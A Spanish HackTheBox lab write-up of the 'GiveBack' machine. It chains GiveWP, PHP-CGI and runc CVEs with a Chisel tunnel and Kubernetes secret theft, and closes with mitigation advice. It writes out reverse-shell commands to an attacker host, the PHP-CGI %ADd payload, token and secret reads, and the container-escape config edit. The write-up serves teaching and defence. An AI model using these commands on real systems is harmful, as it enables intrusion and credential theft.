GiveBack
Cadena en cuatro capas — WordPress con GiveWP 3.14.0 vulnerable a CVE-2024-5932 (PHP Object Injection → RCE en pod WP), túnel inverso con Chisel para alcanzar un servicio legacy del clúster Kubernetes, PHP-CGI vulnerable a CVE-2024-4577 (Best-Fit %AD), extracción de secrets vía service account token, y escape final del contenedor abusando del FD leak de runc 1.1.11 (CVE-2024-21626, Leaky Vessels).
Ver en HackTheBoxResumen
GiveBack es una máquina Linux de dificultad media que encadena cuatro capas: explotación de WordPress (GiveWP CVE-2024-5932), pivot dentro de un clúster Kubernetes usando un túnel inverso con Chisel para exponer el servicio legacy interno, PHP-CGI vulnerable a CVE-2024-4577 (Best-Fit %AD), extracción de credenciales desde Kubernetes Secrets, y escape del contenedor abusando del FD leak de runc 1.1.11 (CVE-2024-21626, Leaky Vessels). La lección clave: ningún CVE basta por sí solo — lo que rompe la máquina es la composición de RBAC permisivo, servicios internos sin NetworkPolicy y binarios sudoers que envuelven runtimes desactualizados.
Reconocimiento
Escaneo de puertos
export IP=10.129.242.171
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn $IP -oG targeted
nmap -sVC -p22,80,30686 $IP
22/tcp open ssh OpenSSH 8.9p1
80/tcp open http nginx + WordPress 6.8.1
30686/tcp open http Go HTTP — Kubernetes health check
Virtual host desde el HTML
curl -s http://$IP | grep -oE 'https?://[^"\'>]+' | grep -v '10\.129\.242\.171' | sort -u
# → giveback.htb
echo "$IP giveback.htb" | sudo tee -a /etc/hosts
Enumeración WordPress
wpscan --url http://giveback.htb/ -e p,t,u
Plugin: give 3.14.0 → CVE-2024-5932
Users: babywyrm
Sitemap del plugin Give
curl -s http://giveback.htb/wp-sitemap-posts-give_forms-1.xml
# → /donations/the-things-we-need/ (formulario vulnerable)
Foothold — CVE-2024-5932 (GiveWP RCE)
PHP Object Injection en el parámetro give_title del formulario de donación. GiveWP pasa datos del usuario a unserialize() sin sanitizar; la cadena POP (gadget chain) disponible en el código permite RCE sin autenticación.
Listener
rlwrap nc -lnvp 4444
Exploit
python3 CVE-2024-5932-rce.py \
-u http://giveback.htb/donations/the-things-we-need/ \
-c "bash -c 'bash -i >& /dev/tcp/$VPNIP/4444 0>&1'"
Shell como uid=1001 gid=0(root) dentro del contenedor WordPress (/opt/bitnami/wordpress/).
Enumeración del contenedor — descubriendo el servicio legacy
env | grep -i "service\|host\|port"
LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000
KUBERNETES_SERVICE_HOST=10.43.0.1
Kubernetes inyecta los servicios como variables de entorno. 10.43.2.241:5000 es una ClusterIP — no accesible desde fuera del clúster. Necesitamos tunelizarla.
Port forwarding con Chisel
Arquitectura del túnel:
Kali (atacante) Pod WordPress (víctima) 10.43.2.241:5000 (interno)
───────────────── ─────────────────────── ──────────────────────────
localhost:222 ◄─── HTTP tunnel ───► chisel client ◄─── red K8s ───► servicio legacy
Preparar chisel en Kali
wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz
gunzip chisel_1.10.1_linux_amd64.gz
mv chisel_1.10.1_linux_amd64 /usr/local/bin/chisel && chmod +x /usr/local/bin/chisel
# Servir el binario para la víctima:
python3 -m http.server 7000 --directory /usr/local/bin/
# Levantar servidor Chisel:
chisel server -p 666 --reverse
Descargar chisel sin curl ni wget (víctima)
El contenedor no tiene curl ni wget. Bash + /dev/tcp al rescate:
(exec 3<>/dev/tcp/$VPNIP/7000;
echo -e "GET /chisel HTTP/1.1\r\nHost: $VPNIP\r\nConnection: close\r\n\r\n" >&3;
cat <&3 | sed '1,/^\r$/d' > /tmp/chisel;
chmod +x /tmp/chisel) &
exec 3<>/dev/tcp/IP/PORTabre el fd 3 como socket TCP bidireccionalsed '1,/^\r$/d'elimina las cabeceras HTTP de la respuesta, deja solo el binario
Cliente chisel (víctima)
/tmp/chisel client $VPNIP:666 R:222:10.43.2.241:5000
R:222:10.43.2.241:5000 = reverse tunnel que expone en localhost:222 de Kali el servicio interno 10.43.2.241:5000.
A partir de aquí, http://localhost:222 desde Kali == servicio legacy del clúster.
Lateral Movement — CVE-2024-4577 (PHP-CGI argument injection)
Concepto clave: PHP-CGI lee argumentos de la query string cuando empiezan por
-. El parche de CVE-2012-1823 bloquea-dliteral, pero%AD(soft hyphen, U+00AD) pasa por Best-Fit conversion y se convierte en-ANTES del parseo. De ahí%ADd.
Verificar versión PHP
curl -s "http://localhost:222/phpinfo.php?debug" | grep -i "php version"
# → PHP 8.3.3 → vulnerable
Test de RCE
curl -i -X POST "http://localhost:222/cgi-bin/php-cgi?%ADd+auto_prepend_file=php%3A%2F%2Finput" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary "<?php system('id'); ?>"
Tres piezas:
?%ADd+auto_prepend_file=php://input→ define la directiva PHP- Header
application/x-www-form-urlencoded→ necesario para que el body llegue al handler CGI - Body
<?php ... ?>→ ejecutado porauto_prepend_file
Reverse shell (Alpine, sin /dev/tcp)
El pod legacy es Alpine + busybox — busybox no implementa /dev/tcp. Usamos un FIFO:
# Listener en Kali
rlwrap nc -lnvp 4433
# Exploit
curl -i -X POST "http://localhost:222/cgi-bin/php-cgi?%ADd+auto_prepend_file=php%3A%2F%2Finput" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary "<?php system('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /usr/bin/nc $VPNIP 4433 > /tmp/f'); ?>"
El named pipe (mkfifo) conecta stdin/stdout de sh con nc sin necesitar /dev/tcp.
Resultado: uid=0(root) dentro del segundo contenedor.
Kubernetes Secrets — vía service account token
Leer credenciales del pod
TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /run/secrets/kubernetes.io/serviceaccount/namespace)
Listar secrets del namespace
curl -sSk -H "Authorization: Bearer $TOKEN" \
"https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets"
El pod tiene RBAC para leer secrets — primer fallo de configuración crítico. Un pod nunca debería poder listar secrets de su namespace.
Extraer y decodificar user-secret-babywyrm
curl -sSk -H "Authorization: Bearer $TOKEN" \
"https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets/user-secret-babywyrm"
echo "SzFEbWxZZVpVRWlZWlcxSmphM0c3b3lNZnJDRmJN" | base64 -d
# → MASTERPASS: K1DmlYeZUEiYZW1Jja3G7oyMfrCFbM
Kubernetes Secrets están en base64, no cifrados. Cualquiera con acceso al recurso puede decodificarlos trivialmente.
Foothold real — SSH al host
ssh babywyrm@$IP
# Password: K1DmlYeZUEiYZW1Jja3G7oyMfrCFbM
cat /home/babywyrm/user.txt
El puerto 22 del nmap inicial nunca fue vector de entrada — esperaba estas credenciales.
Escalada local — runc 1.1.11 (CVE-2024-21626, Leaky Vessels)
sudo -l
sudo -l
# (ALL) /opt/debug
sudo /opt/debug --version
# sudo pass: K1DmlYeZUEiYZW1Jja3G7oyMfrCFbM
# admin pass: sW5sp4spa3u7RLyetrekE4oS
# → runc version 1.1.11 → VULNERABLE
/opt/debug es un wrapper sobre runc que pide doble password (sudo + admin propio del binario).
CVE-2024-21626 (Leaky Vessels): runc abre internamente un file descriptor (fd 7) apuntando a un directorio del host durante la preparación del contenedor. Ese fd no se cierra antes de
exec, así que el proceso del contenedor lo hereda. Si establecemoscwd=/proc/self/fd/7, el contenedor arranca con un directorio del host como CWD → escape.
Preparar rootfs Alpine (atacante)
sudo docker export $(sudo docker create alpine:latest) > /tmp/alpine.tar
python3 -m http.server 8000 --directory /tmp/
Bundle OCI en la víctima
wget http://$VPNIP:8000/alpine.tar -O /tmp/alpine.tar
mkdir -p /tmp/data/rootfs && cd /tmp/data
tar -xf /tmp/alpine.tar -C rootfs/
sudo /opt/debug spec
# (sudo + admin passwords)
# → genera config.json
mkdir conc
cp -a ./config.json ./rootfs conc/
cd conc/
El punto clave — cwd = /proc/self/fd/7
perl -i -pe 's/"cwd": "\/",/"cwd": "\/proc\/self\/fd\/7",/' config.json
grep '"cwd"' config.json
# → "cwd": "/proc/self/fd/7"
Ejecutar y leer la flag
sudo /opt/debug --log ./log.json run runc_exp
# (sudo + admin passwords)
# Dentro del contenedor escapado:
pwd
cat ../../../../../root/root.txt
Desde /proc/self/fd/7 (que apunta a un subdir del host), las rutas relativas ../../../../../ escalan hasta / del host. Root flag obtenida.
Kill Chain
| # | Fase | Técnica | Resultado |
|---|---|---|---|
| 1 | Recon | nmap -p- + -sVC | 22/SSH · 80/WordPress · 30686/K8s-health |
| 2 | Vhost | URLs en HTML + /etc/hosts | giveback.htb |
| 3 | Enum WP | wpscan + sitemap | GiveWP 3.14.0 · /donations/the-things-we-need/ |
| 4 | Exploit web | CVE-2024-5932 (PHP Object Injection) | Reverse shell en pod WordPress |
| 5 | Recon interno | env del pod | LEGACY_INTRANET_SERVICE en 10.43.2.241:5000 |
| 6 | Tunneling | Chisel reverse tunnel (R:222:…) | localhost:222 = servicio legacy |
| 7 | Exploit interno | CVE-2024-4577 (Best-Fit %ADd) | RCE en pod legacy como root |
| 8 | Reverse shell | FIFO + nc (Alpine sin /dev/tcp) | Shell root en segundo contenedor |
| 9 | K8s API | Service account token + RBAC | Lectura de secrets del namespace |
| 10 | Credential leak | base64 -d sobre user-secret-babywyrm | MASTERPASS = K1Dml... |
| 11 | Foothold host | SSH con password | babywyrm · user.txt |
| 12 | Sudo enum | sudo -l + --version | /opt/debug = runc 1.1.11 |
| 13 | Container escape | CVE-2024-21626 (cwd=/proc/self/fd/7) | Acceso al rootfs del host · root.txt |
CVEs explotados
| CVE | Componente | Tipo | Resultado |
|---|---|---|---|
| CVE-2024-5932 | GiveWP plugin 3.14.0 | PHP Object Injection → RCE | Shell en pod WordPress |
| CVE-2024-4577 | PHP-CGI (PHP < 8.3.8) | Argument injection via soft-hyphen | Root en pod legacy |
| CVE-2024-21626 | runc 1.1.11 | FD leak → container escape | Root en host |
Herramientas
| Herramienta | Uso |
|---|---|
| nmap | Descubrimiento de puertos + versiones |
| wpscan | Enumeración WordPress (plugins, usuarios) |
| curl + jq | WP REST API + Kubernetes API |
| CVE-2024-5932-rce.py | Exploit GiveWP deserialization |
| rlwrap + nc | Listener con historial |
| chisel | Túnel TCP inverso sobre HTTP para servicios K8s internos |
| perl | Edición in-place de config.json |
| base64 | Decodificación de K8s Secrets |
| runc (/opt/debug) | Container con config maliciosa para escape |
Lecciones y mitigación
| Técnica | MITRE ATT&CK |
|---|---|
| WordPress plugin RCE (deserialization) | T1190 |
| PHP-CGI argument injection | T1190 |
| Internal service tunneling | T1572 |
| Kubernetes service account abuse | T1552.004 |
| Container escape (runc FD leak) | T1611 |
| Credentials in K8s Secrets | T1552.007 |
| Sudo binary abuse | T1548.003 |
Mitigación:
- GiveWP: actualizar a ≥ 3.14.2 (vector parcheado); WAF para POST con
give_titlecon patrones serializados. - NodePorts: no exponer endpoints de salud en NodePorts (
:30686). Cubrir con NetworkPolicy o pasarelas autenticadas. - RBAC mínimo: un pod WordPress NUNCA debería poder listar Secrets. Validar con
kubectl auth can-i list secrets. - PHP-CGI: bloquear
%ADy caracteres soft-hyphen en WAF; migrar de CGI clásico a PHP-FPM. - runc: actualizar a ≥ 1.1.12 (parche de Leaky Vessels). Aplica también a Docker, containerd y Kubernetes.
- Sudo wrappers:
(ALL) /opt/debugcuando/opt/debugenvuelve runc convierte la regla ensudo runc run— auditar binarios sudoers por su comportamiento real, no solo por nombre. - Secrets vs ConfigMap: usar Sealed Secrets, External Secrets Operator o SOPS — base64 NO es cifrado.
Sigue practicando.
Conversor
Web app que procesa XML+XSLT del usuario con lxml. Como lxml soporta las extensiones EXSLT, `exploit:document` permite escritura arbitraria de ficheros; combinado con un cron que ejecuta todos los .py de un directorio cada minuto se obtiene RCE como www-data. Lateral vía credenciales en SQLite (MD5 crackeado con John) y escalada a root abusando de `sudo needrestart -c` (GTFOBins, config Perl) para crear una bash SUID.
AirTouch
Cadena de 22 pasos desde SNMP débil hasta root. Enumeración clásica, entorno Docker con interfaces WiFi virtuales (mac80211_hwsim), cracking de handshake WPA2-PSK, descifrado de tráfico para robar cookies de sesión, RCE vía .phtml en panel de router, y compromiso Enterprise con Evil Twin + MSCHAPv2 + hashcat.